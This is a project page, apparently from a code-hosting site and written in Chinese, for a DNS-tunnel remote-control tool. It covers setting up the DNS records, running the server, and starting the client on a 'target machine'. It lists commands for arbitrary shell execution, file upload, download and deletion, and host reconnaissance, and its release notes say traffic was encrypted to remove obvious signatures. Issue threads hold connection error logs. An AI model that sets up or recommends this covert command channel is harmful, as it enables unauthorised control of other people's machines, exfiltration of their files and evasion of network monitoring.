dns隧道远控

Related tags

Debug dnstunnel
Overview

dnstunnel

一款多会话的二进制DNS隧道远控

编译

./build.sh

域名配置

使用者需要在域名服务做如下配置(以gandi.net为例):
添加一条A记录:

ns1 10800 IN A 55.55.55.55

再添加一条NS记录:

1 1800 IN NS ns1.test.website.

使用说明

按照以上添加后, 在55.55.55.55上启动NDNS_server

./NDNS_server

在目标机带参数启动NDNS_client

./NDNS_client .1.test.website

用户界面

支持如下命令

session <list|clientid>
getuid
upload <local> <remote>
download <remote> <local>
bash <shell cmd>
move <src> <dst>
mkdir <dir>
rmdir <dir>
rename <old> <new>
list
rm <file>
cd <dir>
pwd
hostip
Session[29727]>>

session

session list

列出当前所有会话

session clientid

切换到对应会话

getuid

getuid

获取当前远程会话的用户ID

upload

upload aaa bbb

将本地文件aaa上传到远程会话机器bbb,限制文件aaa压缩后要小于430字节

download

download aaa bbb

将远程文件aaa下载到本地为bbb,下载速率大概20-30字节/秒,所以千万不要下载大文件,否则耗时超级长

bash

bash which python

可执行任意shell命令,注意不要执行需要交互的命令

move

move <src> <dst>

和mv功能一致,暂未实现,可能用处很少

mkdir

mkdir aaa

在远端创建文件夹aaa

rmdir

删除远端文件夹

rename

重命令文件

list

list

在远端程序当前目录执行ls -lrt并返回结果

rm

删除远端文件

cd

切换远端程序当前目录

pwd

获取远端程序当前目录

hostip

获取远端机器的出口ip和主机名

Issues
  • 出现错误

    出现错误

    2021-05-06 01:05:16 base32_decode 2 error. 2021-05-06 01:05:16 base32_decode 2 error. 2021-05-06 01:05:17 base32_decode 2 error. 2021-05-06 01:05:17 base32_decode 2 error. 2021-05-06 01:05:19 base32_decode 2 error.

    opened by shinegod 0
  • Communication always timeout

    Communication always timeout

    2022-06-14 11:35:22 CLIENT[65276] send ack of seqid 11053, clientid 65276 2022-06-14 11:35:24 CLIENT[18389] server_send wait_data timeout 2022-06-14 11:35:24 is_session_establish_sync expired. 2022-06-14 11:35:24 CLIENT[18389] send ack of seqid 11280, clientid 18389 2022-06-14 11:35:25 CLIENT[40094] server_send wait_data timeout 2022-06-14 11:35:25 is_session_establish_sync expired. 2022-06-14 11:35:25 CLIENT[40094] send ack of seqid 10331, clientid 40094 2022-06-14 11:35:27 CLIENT[65276] server_send wait_data timeout 2022-06-14 11:35:29 CLIENT[18389] server_send wait_data timeout 2022-06-14 11:35:29 is_session_establish_sync expired. 2022-06-14 11:35:29 CLIENT[18389] send ack of seqid 11280, clientid 18389 2022-06-14 11:35:30 CLIENT[40094] server_send wait_data timeout

    Unable to suggest connection

    opened by An93l 0
Releases(1.1)
  • 1.1(Mar 18, 2021)

    注意:与1.0的协议不兼容 1、使用滑动窗口协议 2、流量简单加密,去除明显特征 3、支持大端序等嵌入式平台 4、BUG修复

    Source code(tar.gz)
    Source code(zip)
  • 1.0(Mar 14, 2021)

    现网初步测试基本稳定,多会话使用也稳定 1、解决了重大BUG,比如域名不区分大小写,不能用base64,选用base32 2、理清发送、接收各定时器及重发逻辑,减少不必要的发包 3、增加调试打印及server日志,增强可维护性 4、解决服务端一处UAF BUG 5、改善server界面,命令执行未出结果时同步等待 6、增加会话状态设置,动态调整client发包周期 7、等等 TODO 流量加密 停等协议进化

    Source code(tar.gz)
    Source code(zip)